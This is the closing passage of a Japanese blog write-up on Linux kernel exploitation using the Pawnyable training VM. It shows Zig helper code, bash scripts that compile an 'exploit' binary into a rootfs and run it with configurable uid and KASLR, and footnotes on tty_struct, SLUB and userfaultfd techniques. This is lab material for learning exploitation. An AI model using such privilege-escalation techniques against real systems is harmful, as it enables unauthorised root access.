</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">catchSigsegv</span>(<span style="color:#b6a0ff">comptime</span> handler<span style="color:#00d3d0">:</span> <span style="color:#00d3d0">*</span><span style="color:#b6a0ff">const</span> <span style="color:#b6a0ff">fn</span> () <span style="color:#6ae4b9">void</span>) <span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> wrapper <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">struct</span> { <span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">wrapper</span>(_<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">i32</span>) <span style="color:#feacd0">callconv</span>(.C) <span style="color:#6ae4b9">void</span> { <span style="color:#feacd0">handler</span>(); } }.wrapper;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> sigact <span style="color:#00d3d0">=</span> posix.Sigaction{
</span></span><span style="display:flex;"><span>        .handler <span style="color:#00d3d0">=</span> .{ .handler <span style="color:#00d3d0">=</span> <span style="color:#00d3d0">&amp;</span>wrapper },
</span></span><span style="display:flex;"><span>        .mask <span style="color:#00d3d0">=</span> posix.empty_sigset,
</span></span><span style="display:flex;"><span>        .flags <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>    posix.<span style="color:#feacd0">sigaction</span>(posix.SIG.SEGV, <span style="color:#00d3d0">&amp;</span>sigact, <span style="color:#00bcff">null</span>);
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
</details>

<p><a id="code-snippet--pin-to-core"></a></p>





  
  
    

  
  
    









<details open>
  
  <summary>Zig</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-zig" data-lang="zig"><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> pinThreadToCore <span style="color:#00d3d0">=</span> (<span style="color:#b6a0ff">struct</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> pthread <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@cImport</span>({
</span></span><span style="display:flex;"><span>        <span style="color:#f78fe7">@cDefine</span>(<span style="color:#79a8ff">&#34;_GNU_SOURCE&#34;</span>, {});
</span></span><span style="display:flex;"><span>        <span style="color:#f78fe7">@cInclude</span>(<span style="color:#79a8ff">&#34;pthread.h&#34;</span>);
</span></span><span style="display:flex;"><span>    });
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">pinThreadToCore</span>(thread<span style="color:#00d3d0">:</span> std.Thread.Handle, core<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">usize</span>) <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">var</span> cpu <span style="color:#00d3d0">=</span> std.bit_set.<span style="color:#feacd0">ArrayBitSet</span>(<span style="color:#6ae4b9">usize</span>, linux.CPU_SETSIZE<span style="color:#00d3d0">*</span><span style="color:#f78fe7">@sizeOf</span>(<span style="color:#6ae4b9">usize</span>)).<span style="color:#feacd0">initEmpty</span>();
</span></span><span style="display:flex;"><span>        cpu.<span style="color:#feacd0">set</span>(core);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">const</span> err <span style="color:#00d3d0">=</span> pthread.<span style="color:#feacd0">pthread_setaffinity_np</span>(<span style="color:#f78fe7">@ptrCast</span>(thread), <span style="color:#f78fe7">@sizeOf</span>(posix.cpu_set_t), <span style="color:#f78fe7">@ptrCast</span>(<span style="color:#00d3d0">&amp;</span><span style="color:#f78fe7">@as</span>(posix.cpu_set_t, <span style="color:#f78fe7">@bitCast</span>(cpu.masks))));
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">switch</span> (<span style="color:#f78fe7">@as</span>(posix.E, <span style="color:#f78fe7">@enumFromInt</span>(err))) {
</span></span><span style="display:flex;"><span>            .SUCCESS <span style="color:#00d3d0">=&gt;</span> <span style="color:#b6a0ff">return</span>,
</span></span><span style="display:flex;"><span>            .FAULT <span style="color:#00d3d0">=&gt;</span> <span style="color:#b6a0ff">unreachable</span>,
</span></span><span style="display:flex;"><span>            .INVAL <span style="color:#00d3d0">=&gt;</span> <span style="color:#b6a0ff">return</span> <span style="color:#b6a0ff">error</span>.InvalidArgument,
</span></span><span style="display:flex;"><span>            .SRCH <span style="color:#00d3d0">=&gt;</span> <span style="color:#b6a0ff">return</span> <span style="color:#b6a0ff">error</span>.ProcessNotFound,
</span></span><span style="display:flex;"><span>            <span style="color:#b6a0ff">else</span> <span style="color:#00d3d0">=&gt;</span> <span style="color:#00d3d0">|</span>e<span style="color:#00d3d0">|</span> <span style="color:#b6a0ff">return</span> posix.<span style="color:#feacd0">unexpectedErrno</span>(e),
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}).pinThreadToCore;</span></span></code></pre></div>
</details>

<p><a id="code-snippet--extract-rootfs"></a></p>





  
  
    

  
  
    









<details open>
  
  <summary>Bash</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>mkdir -p rootfs; <span style="color:#f78fe7">cd</span> rootfs
</span></span><span style="display:flex;"><span>cpio -id &lt; ../rootfs.cpio 2&gt;/dev/null
</span></span><span style="display:flex;"><span>ls</span></span></code></pre></div>
</details>

<p><a id="code-snippet--regenerate-rootfs"></a></p>





  
  
    

  
  
    









<details open>
  
  <summary>Bash</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#f78fe7">pushd</span> rootfs
</span></span><span style="display:flex;"><span>find . -print0 | cpio --null --format<span style="color:#00d3d0">=</span>newc -o 2&gt;/dev/null &gt; ../rootfs.cpio
</span></span><span style="display:flex;"><span><span style="color:#f78fe7">cd</span> ..</span></span></code></pre></div>
</details>

<p><a id="code-snippet--compile-exploit"></a></p>





  
  
    

  
  
    









<details open>
  
  <summary>Bash</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#f78fe7">set</span> -e
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">if</span> <span style="color:#00d3d0">[</span> ! <span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">$libc</span><span style="color:#79a8ff">&#34;</span> <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">true</span> <span style="color:#00d3d0">]</span>; <span style="color:#b6a0ff">then</span>
</span></span><span style="display:flex;"><span>    <span style="color:#00d3d0">libc</span><span style="color:#00d3d0">=</span><span style="color:#79a8ff">&#34;&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">else</span>
</span></span><span style="display:flex;"><span>    <span style="color:#00d3d0">libc</span><span style="color:#00d3d0">=</span><span style="color:#79a8ff">&#34;-lc&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#00d3d0">input</span><span style="color:#00d3d0">=</span><span style="color:#b6a0ff">$(</span>mktemp --suffix<span style="color:#00d3d0">=</span>.zig<span style="color:#b6a0ff">)</span>
</span></span><span style="display:flex;"><span><span style="color:#f78fe7">echo</span> <span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">$code</span><span style="color:#79a8ff">&#34;</span> &gt; <span style="color:#00d3d0">$input</span>
</span></span><span style="display:flex;"><span>zig build-exe <span style="color:#00d3d0">$libc</span> -femit-bin<span style="color:#00d3d0">=</span>exploit -target x86_64-linux-musl <span style="color:#00d3d0">$input</span>
</span></span><span style="display:flex;"><span>rm exploit.o
</span></span><span style="display:flex;"><span>rm <span style="color:#00d3d0">$input</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>mv exploit ./rootfs/</span></span></code></pre></div>
</details>

<p><a id="code-snippet--run-command"></a></p>





  
  
    

  
  
    
    
  

  
  
    





  





<details open>
  
  <summary>Bash</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#b6a0ff">if</span> <span style="color:#00d3d0">[</span> <span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">$root</span><span style="color:#79a8ff">&#34;</span> <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">true</span> <span style="color:#00d3d0">]</span>; <span style="color:#b6a0ff">then</span>
</span></span><span style="display:flex;"><span>    <span style="color:#00d3d0">suid</span><span style="color:#00d3d0">=</span><span style="color:#00bcff">0</span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">else</span>
</span></span><span style="display:flex;"><span>    <span style="color:#00d3d0">suid</span><span style="color:#00d3d0">=</span><span style="color:#00bcff">1337</span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fi</span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">if</span> <span style="color:#00d3d0">[</span> ! <span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">$kaslr</span><span style="color:#79a8ff">&#34;</span> <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">true</span> <span style="color:#00d3d0">]</span>; <span style="color:#b6a0ff">then</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f78fe7">export</span> <span style="color:#00d3d0">NOKASLR</span><span style="color:#00d3d0">=</span><span style="color:#00bcff">1</span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fi</span>
</span></span><span style="display:flex;"><span><span style="color:#00d3d0">temp</span><span style="color:#00d3d0">=</span><span style="color:#b6a0ff">$(</span>mktemp<span style="color:#b6a0ff">)</span>
</span></span><span style="display:flex;"><span>chmod <span style="color:#00bcff">755</span> <span style="color:#00d3d0">$temp</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>cp rootfs/etc/init.d/S99pawnyable <span style="color:#00d3d0">$temp</span>
</span></span><span style="display:flex;"><span>sed -i -E <span style="color:#79a8ff">&#34;s/(setuidgid) [[:digit:]]+ (sh)/\1 </span><span style="color:#00d3d0">$suid</span><span style="color:#79a8ff"> \2/&#34;</span> rootfs/etc/init.d/S99pawnyable
</span></span><span style="display:flex;"><span><a href="#code-snippet--regenerate-rootfs">&lt;&lt;regenerate-rootfs&gt;&gt;</a>
</span></span><span style="display:flex;"><span>mv <span style="color:#00d3d0">$temp</span> rootfs/etc/init.d/S99pawnyable
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>./run.sh &amp;
</span></span><span style="display:flex;"><span>sleep <span style="color:#00bcff">2</span>
</span></span><span style="display:flex;"><span><span style="color:#00d3d0">{</span> <span style="color:#f78fe7">echo</span> -n; sleep 1; <span style="color:#f78fe7">echo</span> <span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">$shellcmd</span><span style="color:#79a8ff">; exit #^&#34;</span>; <span style="color:#00d3d0">}</span> | socat -t <span style="color:#00bcff">2</span> -,ignoreeof UNIX:vm.sock</span></span></code></pre></div>
</details>

<div class="rc-scout-wrapper"><div class="rc-scout" data-scout-rendered="true"><p class="rc-scout__text">
<i>もっといいプログラマーになりたいなら、<i class="rc-scout__logo"></i> <a class="rc-scout__link" href="https://www.recurse.com/scout/click?t=c9ef0a055fcd2cd243ac045bc1f6dd82">Recurse Center</a>に応募を考えしろ。</i>
</p></div> <style class="rc-scout__style" type="text/css">.rc-scout { display: block; padding: 0; border: 0; margin: 0; } .rc-scout__text { display: block; padding: 0; border: 0; margin: 0; height: 100%; font-size: 100%; } .rc-scout__logo { display: inline-block; padding: 0; border: 0; margin: 0; width: 0.85em; height: 0.85em; background: no-repeat center url('data:image/svg+xml;utf8,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20viewBox%3D%220%200%2012%2015%22%3E%3Crect%20x%3D%220%22%20y%3D%220%22%20width%3D%2212%22%20height%3D%2210%22%20fill%3D%22%23000%22%3E%3C%2Frect%3E%3Crect%20x%3D%221%22%20y%3D%221%22%20width%3D%2210%22%20height%3D%228%22%20fill%3D%22%23fff%22%3E%3C%2Frect%3E%3Crect%20x%3D%222%22%20y%3D%222%22%20width%3D%228%22%20height%3D%226%22%20fill%3D%22%23000%22%3E%3C%2Frect%3E%3Crect%20x%3D%222%22%20y%3D%223%22%20width%3D%221%22%20height%3D%221%22%20fill%3D%22%233dc06c%22%3E%3C%2Frect%3E%3Crect%20x%3D%224%22%20y%3D%223%22%20width%3D%221%22%20height%3D%221%22%20fill%3D%22%233dc06c%22%3E%3C%2Frect%3E%3Crect%20x%3D%226%22%20y%3D%223%22%20width%3D%221%22%20height%3D%221%22%20fill%3D%22%233dc06c%22%3E%3C%2Frect%3E%3Crect%20x%3D%223%22%20y%3D%225%22%20width%3D%222%22%20height%3D%221%22%20fill%3D%22%233dc06c%22%3E%3C%2Frect%3E%3Crect%20x%3D%226%22%20y%3D%225%22%20width%3D%222%22%20height%3D%221%22%20fill%3D%22%233dc06c%22%3E%3C%2Frect%3E%3Crect%20x%3D%224%22%20y%3D%229%22%20width%3D%224%22%20height%3D%223%22%20fill%3D%22%23000%22%3E%3C%2Frect%3E%3Crect%20x%3D%221%22%20y%3D%2211%22%20width%3D%2210%22%20height%3D%224%22%20fill%3D%22%23000%22%3E%3C%2Frect%3E%3Crect%20x%3D%220%22%20y%3D%2212%22%20width%3D%2212%22%20height%3D%223%22%20fill%3D%22%23000%22%3E%3C%2Frect%3E%3Crect%20x%3D%222%22%20y%3D%2213%22%20width%3D%221%22%20height%3D%221%22%20fill%3D%22%23fff%22%3E%3C%2Frect%3E%3Crect%20x%3D%223%22%20y%3D%2212%22%20width%3D%221%22%20height%3D%221%22%20fill%3D%22%23fff%22%3E%3C%2Frect%3E%3Crect%20x%3D%224%22%20y%3D%2213%22%20width%3D%221%22%20height%3D%221%22%20fill%3D%22%23fff%22%3E%3C%2Frect%3E%3Crect%20x%3D%225%22%20y%3D%2212%22%20width%3D%221%22%20height%3D%221%22%20fill%3D%22%23fff%22%3E%3C%2Frect%3E%3Crect%20x%3D%226%22%20y%3D%2213%22%20width%3D%221%22%20height%3D%221%22%20fill%3D%22%23fff%22%3E%3C%2Frect%3E%3Crect%20x%3D%227%22%20y%3D%2212%22%20width%3D%221%22%20height%3D%221%22%20fill%3D%22%23fff%22%3E%3C%2Frect%3E%3Crect%20x%3D%228%22%20y%3D%2213%22%20width%3D%221%22%20height%3D%221%22%20fill%3D%22%23fff%22%3E%3C%2Frect%3E%3Crect%20x%3D%229%22%20y%3D%2212%22%20width%3D%221%22%20height%3D%221%22%20fill%3D%22%23fff%22%3E%3C%2Frect%3E%3C%2Fsvg%3E'); } .rc-scout__link:link, .rc-scout__link:visited { color: #3dc06c; text-decoration: underline; } .rc-scout__link:hover, .rc-scout__link:active { color: #4e8b1d; }</style></div>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>文章にはAIの助けを借りたんだがコードには使ってない。&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p><a href="https://elixir.bootlin.com/linux/v5.10.7/source/include/linux/tty.h#L285-L345">https://elixir.bootlin.com/linux/v5.10.7/source/include/linux/tty.h#L285-L345</a>&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p>pwnの文脈に​<kbd>tty_struct</kbd>​を利用するの詳細につては<a href="https://github.com/smallkirby/kernelpwn/blob/master/technique/tty_struct.md%20">こちら</a>や<a href="https://ptr-yudai.hatenablog.com/entry/2020/03/16/165628">こちら</a>。&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:4">
<p><kbd>read</kbd>​や​<kbd>write</kbd>​等は<a href="https://pawnyable.cafe/linux-kernel/LK01/heap_overflow.html#:~:text=stack%20pivot%E3%81%AB%E3%81%AF%E4%BD%BF%E3%81%88%E3%81%AA%E3%81%84%E3%81%93%E3%81%A8%E3%81%8C%E5%A4%9A%E3%81%84%E3%82%88">他のセキュリティー対策</a>があるらしいので、とりあえず​<kbd>ioctl</kbd>​を利用する。&#160;<a href="#fnref:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:5">
<p><a href="https://www.youtube.com/watch?v=XulsBDV4n3w">SLUB Internals for Exploit Developers</a>&#160;<a href="#fnref:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:6">
<p><a href="https://blogs.oracle.com/linux/post/linux-slub-allocator-internals-and-debugging-1">Linux SLUB Allocator Internals and Debugging, Part 1 of 4</a>&#160;<a href="#fnref:6" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:7">
<p><a href="https://docs.kernel.org/admin-guide/mm/userfaultfd.html#creating-a-userfaultfd">https://docs.kernel.org/admin-guide/mm/userfaultfd.html#creating-a-userfaultfd</a>&#160;<a href="#fnref:7" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:8">
<p>このページは<a href="https://creativecommons.org/licenses/by/4.0/">CC BY 4.0</a><img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg" alt="" style="max-width: 1em;max-height:1em;margin-left: .2em;display:inline;"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg" alt="" style="max-width: 1em;max-height:1em;margin-left: .2em;display:inline;">に免許する、そして全てのeBPFバイトコードは<a href="https://www.gnu.org/licenses/gpl-3.0.en.html#license-text1">GPLv3</a>にも免許する。&#160;<a href="#fnref:8" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:9">
<p>元々サブプログラムを利用しようとした、でもあれにはbpf_capableの権限は必要だ。&#160;<a href="#fnref:9" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>]]></content>
    
  </entry>
  
</feed>
